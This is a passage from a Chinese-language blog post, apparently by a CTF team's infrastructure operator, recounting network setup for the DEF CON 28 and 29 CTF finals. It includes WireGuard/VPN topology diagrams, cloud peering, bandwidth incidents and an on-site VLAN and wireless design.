&lt;li&gt;从来没有预计到DHCP竟然会成为卡点；&lt;&#x2F;li&gt;
&lt;li&gt;酒店网络实在是糟糕，也不知道明年会在哪个酒店，头大；&lt;&#x2F;li&gt;
&lt;li&gt;今年攻击脚本没有发挥出最大的效用，表面原因还是大家的习惯问题，但深层原因是协作本身的成本就很高；&lt;&#x2F;li&gt;
&lt;li&gt;类似的，和我们一样，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;iromise.com&#x2F;2019&#x2F;08&#x2F;14&#x2F;DEF-CON-CTF-27-Final&#x2F;#:~:text=%E4%B9%B0%E5%90%83%E7%9A%84%E3%80%82-,idarling%20%E4%BB%8D%E9%9C%80%E6%94%B9%E8%BF%9B,-%E3%80%82&quot;&gt;Tea Deliverers的writeup&lt;&#x2F;a&gt;中也有提到，idarling也需要改进。在赛前我们实际花了很多时间和精力处理idarling相关的问题，相信TD也有，但看来无论是我们还是TD，都没有达到符合预期的成果。深入思考后我觉得，核心问题在于IDA的重交互，让实现“协同逆向”这个目标的难度过高了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;baba-o-riley&quot;&gt;Baba O&#x27;Riley&lt;&#x2F;h2&gt;
&lt;p&gt;实际去年在去DEF CON之前，感觉或许DC27是我为数不多的几次DEF CON了，因为周围的环境已经和之前不一样了。然而万万没想到，环境不仅变了，变的还很剧烈。以至于干爽的夏夜晚风，变得燥热和阴湿。&lt;&#x2F;p&gt;
&lt;p&gt;在这次Cancelled DEF CON前，国内的疫情基本上得到了有效控制，所以最后决定在公司的会议层把线下参与的所有同学召集起来（羡慕&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gem-love.com&#x2F;ctf&#x2F;2558.html#:~:text=%E9%BA%A6%E9%A6%99%E8%80%81%E6%9D%BF%E7%BB%99%E6%88%91%E4%BB%AC%E5%9C%A8%E4%B8%8A%E6%B5%B7%E5%AE%9A%E4%BA%86%E4%B8%80%E4%B8%AA%206k%20%E5%A4%9A%E4%B8%80%E6%99%9A%E7%9A%84%E4%B8%89%E5%B1%82%E5%A4%A7%E5%88%AB%E5%A2%85&quot;&gt;麦香的大别野&lt;&#x2F;a&gt;）。因为今年整个DEF CON都是线上版本，所以CTF的时间也被划分成了四个赛段，基本上几个主要大陆的白天和晚上都包含进来了。对运维的好处就是，因为不需要考虑套房网络这个最不稳定的因素，所有基础设施都可以放在云上了。此外，按照去年的经验，以及我们观察到的OOO出题特征，感觉攻击脚本Ra和状态解析器Rp所带来的成本会大于收益，因此决定在比赛中仅使用协作平台的基本功能。&lt;&#x2F;p&gt;
&lt;p&gt;纯远程的比赛，大概需要考虑的就是这么几个部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;和比赛方网络的连接。按照OOO给出的指南，我们会通过一个带有&lt;code&gt;wireguard&lt;&#x2F;code&gt;的&lt;code&gt;jumpbox&lt;&#x2F;code&gt;接入比赛内网。考虑到美国云市场的情况，估计他们用的就是aws，所以在云上提前买了美国的机器，用来写入&lt;code&gt;wireguard&lt;&#x2F;code&gt;配置。&lt;&#x2F;li&gt;
&lt;li&gt;选手接入网络。由于大多数选手都在国内，因此需要准备好国内的VPN服务器，并提前分发配置信息。此外，因为在美国也有同学参与比赛，也需要准备给他们的VPN服务。不过需要在服务器上屏蔽掉对方的IP地址，防止国内同学误接到国外VPN（或者反过来），导致被GFW封锁。&lt;&#x2F;li&gt;
&lt;li&gt;我们自己的服务设施。根据业务特性的不同，服务器可能需要在不同的地点。比如，协作平台的主要用户在国内，因此相关服务要部署在国内的服务器上。而有些exp对延迟要求比较高（比如涉及到侧信道的攻击方法），因此需要在国外也准备服务器。&lt;&#x2F;li&gt;
&lt;li&gt;中美服务器网络的Peer。因为所有的服务都部署在上，考虑到中美之间的网络本身就不够稳定，我们果断决定借用〇〇〇提供的专线，将国内和国外的两个云内网接在一起。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;大致决定好了基础网络架构后，用一个下午的时间设置起了整套系统，以及重启后的恢复措施，保证不会因为一些奇怪的母鸡问题导致VM重启后长时间中断业务，顺便加了一些安全策略，并将所有服务器加入了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.netdata.cloud&#x2F;&quot;&gt;Netdata&lt;&#x2F;a&gt;，然后就静待OOO的配置了。整体的网络架构大体是这样了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                              +---------------------------------------------------------------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                              |                                                                           |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                              |                       &amp;gt;Other players in our team&amp;lt;                         |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                              |                                                                           |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                              +-----------------+----------------------------------+----------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                |                                  |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                |                                  |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                | OpenVPN                          | OpenVPN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                |                                  |                     The `dc28-redir-controller`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                       +--------+------+                    +------+--------+                 is deployed here&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                       |               |                    |               |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                       | VPN Endpoint  |                    | VPN Endpoint  |                        |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                       | for CHN users |                    | for USA users |                        |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                       |               |                    |               |                        v&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                       +-------+-------+                    +-------+-------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                               |                                    |                  +---------------------------+     +--------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                               |      bandwidth and ACL limited!    |                  |                           |     |                    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                               |           save some money  ;)      |                  |   Jumpbox, config copied  +-----+  OOO&amp;#39;s WG endpoint |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                               |                |                   |            +-----+    from OOO&amp;#39;s machine     |     |                    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                               |                |                   |            |     |                           |     |                    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+---------------------------------+            |                v                   |            |     +---------------------------+     +--------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                                 |      +-----+-----+                        +-----+-----+      |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;| CPU-intensive applications      |      |           |      QoS Promised      |           |      |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;| since EPYC servers are only     +------+  Gateway  +------------------------+  Gateway  +------+     +------------------------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;| available in CHN available zone |      |   China   |  MPLS VPN? not sure.   |  U.S West |            |                                    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                                 |      |           |  110-130ms, &amp;lt;0.1% loss |           +------------+ Latency-aware programs             |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+---------------------------------+      +-----------+                        +-----------+            | &amp;amp;                                  |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                                                                       | Traffic-heavy programs (like pcap) |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                                                                       | Reduce costs under the ocean       |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                                                                       |                                    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                                                                       +------------------------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        - All connections are using WireGuard unless specified.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        - Netdata is installed on all machines so we can do remote telemetry&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          and receive alarms.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在比赛前，突然想起来OOO有提到过，这次比赛会有&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oooverflow.io&#x2F;dc-ctf-2020-finals&#x2F;#:~:text=New%20this%20year%2C%20each%20service%20will%20have%20a%20STEALTH%20port%20alongside%20it%E2%80%99s%20normal%20port.&quot;&gt;Normal和Stealth两种端口方式&lt;&#x2F;a&gt;，因此和space、dadong临时赶工，做了一个转发控制器，保证不会因为手滑打错端口。上线后大家的反响还不错，而且从赛后听到的一些情况看，的确有的队伍出现过打流量打错的情况（第一轮打Normal，之后就开始打Stealth），侧面证明这个工作还是有意义的。&lt;&#x2F;p&gt;
&lt;p&gt;OOO方面，因为这次是一次“云原生”（请允许我滥用下这个概念）的CTF，因此他们也引入了一些措施，包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oooverflow.io&#x2F;dc-ctf-2020-finals&#x2F;#:~:text=Private%20Team-Team%20Instances&quot;&gt;私有题目实例&lt;&#x2F;a&gt;，导致就算你能D别人，其他队伍也不会被影响，而且OOO原本就会手动检查patch。这无疑进一步加重了运维同学的工作量，也带来了一些问题，但可能更多的是他们的经验不够丰富，因为在〇〇〇和〇〇〇〇等公司的CTF平台中，为了阻止一些老搅〇棍（以及我这种乐于看戏的）获得乐趣，就引入了这种方式；&lt;&#x2F;li&gt;
&lt;li&gt;打到600个flag就下线服务，结合之前的分段下线。这个很好，很活跃气氛，而且实际上给了队伍更多动力：能否找到更奇妙的利用方式？能否找到更奇妙的洞？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;云原生的好处就是OOO的资源几乎是无限的（depends on your credit card），但坏处就是往往让人对架构过于自信，以至于忽视了一些原生运维中遇到的带宽等问题，结合他们之前的一些Devops问题，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oooverflow.io&#x2F;dc-ctf-2020-finals&#x2F;postmortem.html&quot;&gt;总的一算&lt;&#x2F;a&gt;确实给这次比赛的体验带来了一些影响。实际和他们一样，我也犯了一些不大不小的错误，不过好在没有影响最终结果。对大盘有比较严重影响的就是在比赛中间，预设的网络报警弹了下。起初以为是偶发抖动，后来发现专线丢包率可以达到10%，以至于影响到了队友打exp。登录监控系统发现，为了把流量发回另一个分析系统进行分析和重放，20M的专线带宽被占满了，因此临时把专线带宽限制提升到了100Mbps，不过还好比赛后就没有发生类似的情况。至于服务器爆内存等，基本都通过云上的快速资源扩容解决了，没有收到太多的影响。甚至还充当人肉打字员，帮做crypto的同学打了几圈，直到题目下线。此外，赛中做KoH的同学提议，是不是有个面板能看到得分历史比较好一些。想了想也有道理，但即便写了解析脚本Rp也不太好实现这个功能，索性用一些现成工具快速搓了一个，上线效果还不错，感觉自己也算是DevSecOps一把了（你说看不到Sec在哪里？我不是有配&lt;code&gt;iptables&lt;&#x2F;code&gt;？）。&lt;&#x2F;p&gt;
&lt;p&gt;因为赛中大家基本都在会议室，感觉会议室会变的很热（虽然有空调），所以大部分运维工作都是在工位通过线上会议完成的。虽然在最后的十几个小时到会议室跟着看了几个题，但基本上已经错过了整场比赛最有意思的部分：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Dataflow_architecture&quot;&gt;Manchester Dataflow Architecture&lt;&#x2F;a&gt;。数据驱动的思想虽然让我有点不怀好意的想起了某理论，但仔细想了下，这个思路其实和六七十年代的模拟计算机有一点关系，把Compiler理解成电路图后，也大概能了解一些题目的意图了，感觉如果用电容和电感搭一台这样的计算机，应该是一个很有趣的挑战（笑）。途中还去围观了下&lt;code&gt;pinboool&lt;&#x2F;code&gt;的题，感觉可以通过scoreboard上的那个长的很像CFG的动画，映射到真正的程序执行流上，然后就有队友做出来了（md好强），虽然两者有一定差别，不过还是对这个题起到了一些帮助。一边看题一边想，这个东西对思维模式的冲击还是很大的，出题好用，所以明年估计还是会用（没想到一语成谶……）。&lt;&#x2F;p&gt;
&lt;p&gt;最后投入时间比较长的是&lt;code&gt;gameboooy&lt;&#x2F;code&gt;这道题，也恰好因为自己对gameboy比较感兴趣（指在工位抽屉里有一台山寨的gameboy），就跟着过去逆了一下，把涉及到VRAM和ROM的一些东西逆了一圈，确认了GPU的工作过程和原生的ROM没有太多差别，但没找到任何有帮助的东西，百思不得其解。最后搞得会议室里众人十分萎靡，dmxcsnsbh说这应该是一个不知道为什么被出错了的条件竞争，而我不信。最后证明他的想法是对的，的确是一个条件竞争，但似乎是因为编译器优化的原因被吃掉了。&lt;&#x2F;p&gt;
&lt;p&gt;比赛结束后会议室里的气氛并不算特别好，因为结果实在不好确定，直到成绩最后公布的那一刻。看Zardus宣布&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dttw.tech&#x2F;posts&#x2F;Skww4fzGP#:~:text=the%20game%20was%20neck%20and%20neck%20to%20the%20very%20end&quot;&gt;成绩的gif&lt;&#x2F;a&gt;其实还没反应过来，直到听到第二名是PPP才意识到是自己第一，听到自己被宣布是第一名时就激动了，甚至把旁边几个会议室开会的人都吓了一跳（抱歉）……&lt;&#x2F;p&gt;
&lt;p&gt;总之开心是很开心，赛后想了下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;疫情控制得当，在这次比赛中显然演变成了主场优势，但人多带来的沟通问题和人力浪费问题也超过了预期；&lt;&#x2F;li&gt;
&lt;li&gt;KoH的确很有意思，虽然被打的有点惨，但真的有意思，比攻防有意思（虽然会被人吐槽不纯粹）；&lt;&#x2F;li&gt;
&lt;li&gt;传数据包这种典型的大流量业务应该走公网的，不应该出问题后才扩容，浪费了一些预算而且影响了业务；&lt;&#x2F;li&gt;
&lt;li&gt;监控指标应该再精细一些，且占用带宽长期高于一定程度的话，就应该先扩容了，不应该等到丢包的地步；&lt;&#x2F;li&gt;
&lt;li&gt;缺少更精细的流量调度能力，不过说是这么说，到底要怎么调度，也没有想好……；&lt;&#x2F;li&gt;
&lt;li&gt;协作方面，协作工具实际上并没有太大变化，而且甚至都使用起了微信群，个人觉得这个东西是真的不堪用，不仅沟通效率低，新来的人也不知道上下文，而且这个小而美的应用可真的是……；&lt;&#x2F;li&gt;
&lt;li&gt;不过语音会议真的是个好东西，以至于在DC结束之后，如果需要远程工作的场合，都喜欢挂一个会议软件在线上，这样别人要叫我的话只要加入会议就可以了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一边开心，一边在想，明年的CTF要怎么办呢？也算是比较深刻的领会到了美国的联邦制特色，不同州的控制力度截然不同，在当时也完全看不出两国边境重开的迹象。总之一边怀着对边境重开的美好期盼，一边沟通badge的邮寄事项，一边思考明年的CTF有什么可以做。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;所以最后&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;blog.zeddyu.info&#x2F;2020&#x2F;10&#x2F;15&#x2F;Defcon28final&#x2F;#:~:text=%E5%88%86%E7%9A%84%E5%B7%AE%E8%B7%9D%E3%80%82%EF%BC%88-,%E8%BF%99%E9%9A%BE%E9%81%93%E4%B8%8D%E5%80%BC%E5%BE%97%E4%B8%80%E9%A1%BF%E9%A5%AD%E5%90%97%EF%BC%9F,-%E6%A0%B9%E6%8D%AE%E4%B8%80%E4%BA%9B%E7%8E%B0%E6%9C%89&quot;&gt;请吃饭了嘛&lt;&#x2F;a&gt;？&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;i-don-t-wanna-leave-tonight&quot;&gt;I Don&#x27;t Wanna Leave Tonight&lt;&#x2F;h2&gt;
&lt;p&gt;到了今年，事情变得更糟了，有关部门甚至暂停了护照签发。两国关系也每况愈下，和朋友之间的正常邮路被干扰，邮局的朋友也说从美国的退包变多了，以至于直到今年的Quals之前还没收到奖牌，索性不想这些，安心准备比赛。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xin-de-wang-luo&quot;&gt;新的网络&lt;&#x2F;h3&gt;
&lt;p&gt;相比于前几年赛前组织的几次专门比赛，今年Quals前大家基本以其他CTF作为练习和娱乐的方式，仅在Final前一周举办了一次测试赛，以便新同学习惯环境。今年的比赛采用Hybrid模式，线上和线下同时进行。根据主办方提前发过来的邮件，接入比赛网络的方式似乎和去年一样，是通过jumpbox里的一个wireguard配置文件，设置好路由表，所以今年在云端的框架也基本和去年类似。不同的是，经过之前在其他业务上的一些测试，我对云服务上的VPC能力更有信心了，因此决定今年在云端除了必要的peering（比如和主办方peer）外，其他流量都通过云上的虚拟网络来解决，这也算是“云原生”的CTF了。 ;-)&lt;&#x2F;p&gt;
&lt;p&gt;此外，由于在Quals中，不常驻在公司的同学反馈链接公司网络过于麻烦（需要绕来绕去，而且带宽也有限），因此在Final前我决定除了保留原有的VPN接入方式作为备份外，还是给大家部署一个专用的无线网络比较好，这也是今年的网络部署和去年最大的不同。整体拓扑就变成了这样：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          +---------------------------------------------------------------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          |                                                                           |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          |                       &amp;gt;Other players in our team&amp;lt;                         |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          |                                                                           |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                          +----------+------------------------------------------------+---------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                     |                                                |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                     |                                                |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                     | OpenVPN                                        | OpenVPN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+-----------------+  +------------------------+                            +---------------------------------------------------------------------------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                 |  |      +---------------+ |                            |   +---------------+                                                                   |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                 |  |      |               | |                            |   |               |                                                                   |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|  Meeting Rooms  +---------+ VPN Endpoint  | |                            |   | VPN Endpoint  |                                                                   |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                 |  |      | for CHN users | |                            |   | for USA users |                                                                   |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                 |  |      |               | |                            |   |               |         The `dc28+redir+controller`                               |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|                 |  |      +-------+-------+ |                            |   +-------+-------+              is deployed here                                     |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;+-----------------+  |              |         |                            |           |                                                                           |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |              |         |        QoS Promised        |           |                             +                                             |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |              |         &amp;lt;&amp;lt;--------------------------&amp;gt;&amp;gt;           |                             |                                             |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |              |         |    MPLS VPN? not sure.     |           |                             v                                             |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |              |         |    110+130ms, &amp;lt;0.1% loss   |           |                                                                           |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |              |         |                            |           |               +---------------------------+     +--------------------+    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |        +-----+-----+   | bandwidth and ACL limited! |     +-----+-----+         |                           |     |                    |    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |        |           |   |      save some money  ;)   |     |           |         |   Jumpbox, config copied  +-----+  OOO&amp;#39;s WG endpoint |    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |        |   Other   |   |                            |     |   Other   +---------+    from OOO&amp;#39;s machine     |     |                    |    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |        |  Servers  |   |                            |     |  Servers  |         |                           |     |                    |    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |        |           |   |                            |     |           |         +---------------------------+     +--------------------+    |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |        +-----------+   |                            |     +-----------+                                                                     |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |                        |                            |                                                                                       |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     |     Cloud VPC - CN     |                            |                            Cloud VPC - US                                             |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                     +---------------+--------+                            +--------------------------------------+------------------------------------------------+&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                    + All connections are using WireGuard unless specified.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                    + Netdata is installed on all machines so we can do remote telemetry&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                      and receive alarms.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从mamamiya10那里打听到，和去年差不多，本次比赛会用到会议楼层的5间会议室，每间会议室大概是6mx8m的样子。外网方面，不巧的是，由于一些大人的原因，每条外网链路的带宽只有40Mbps，而且需要为每条外网链路单独引一根网线（不是光纤），在这根网线上只能有一个mac地址。但幸运的是，这些链路的数量是基本不受限制的。此外，在用户接入方面，最好能让用户直接接入到比赛内网中。&lt;&#x2F;p&gt;
&lt;p&gt;赛前整理了下手中的材料，似乎有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;比赛前从淘宝买到了一台6端口的杂牌软路由；&lt;&#x2F;li&gt;
&lt;li&gt;在仓库中挖掘出若干态TP-Link入门型家用无线路由器；&lt;&#x2F;li&gt;
&lt;li&gt;一台由Azure留下的无线路由器，装好了openwrt。在往年的比赛中，这台路由器是放在酒店房间的；&lt;&#x2F;li&gt;
&lt;li&gt;原本被用来 &lt;del&gt;拆解&lt;&#x2F;del&gt; 测试的，一台H3C S51xx的三层交换机，有24个千兆电口，4个光口；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;除此之外在京东上买了一些网线、地毯胶带之类的耗材。&lt;&#x2F;p&gt;
&lt;p&gt;网络部署方案，则相对从简：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从各个地方接出10条公网网线，接入交换机上；&lt;&#x2F;li&gt;
&lt;li&gt;软路由作为网关，使用全部网口，和交换机做&lt;code&gt;bonding&lt;&#x2F;code&gt;连接（lacp，L2+L3 hash），并透传所有VLAN；&lt;&#x2F;li&gt;
&lt;li&gt;在交换机上划分出四类VLAN，分别用于：
&lt;ul&gt;
&lt;li&gt;用户接入（1000）；&lt;&#x2F;li&gt;
&lt;li&gt;流量路由（1500）；&lt;&#x2F;li&gt;
&lt;li&gt;网管（500）；&lt;&#x2F;li&gt;
&lt;li&gt;与公网上游互连（1200-1300）；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;每个房间各部署1个无线路由器，当作接入点使用，链接到用户接入VLAN上，并通过调整接入点信号强度，保证终端尽量落到最合适的接入点上；&lt;&#x2F;li&gt;
&lt;li&gt;用交换机承载接入业务（DHCP和DNS转发、三层路由到网关）并实现部分ACL；&lt;&#x2F;li&gt;
&lt;li&gt;刚好剩下两个网口，在路由设备所在的会议室，用有线预留几根网线，供紧急情况下接入网管段，或进行流量镜像使用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因为所有VLAN都被透传到了网关，所以和公网互连的工作也要由网关负责。通过&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.nvidia.com&#x2F;networking-ethernet-software&#x2F;cumulus-linux-40&#x2F;Layer-3&#x2F;Equal-Cost-Multipath-Load-Sharing-Hardware-ECMP&#x2F;&quot;&gt;ECMP&lt;&#x2F;a&gt;，可以保证不同的会话被分配到不同的外网链路上，从而让接入到网络中的用户能够&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;lwz322.github.io&#x2F;2019&#x2F;11&#x2F;03&#x2F;ECMP.html&quot;&gt;分担&lt;&#x2F;a&gt;不同链路。除此之外就是一些常规的SNAT、防火墙配置等工作。&lt;&#x2F;p&gt;
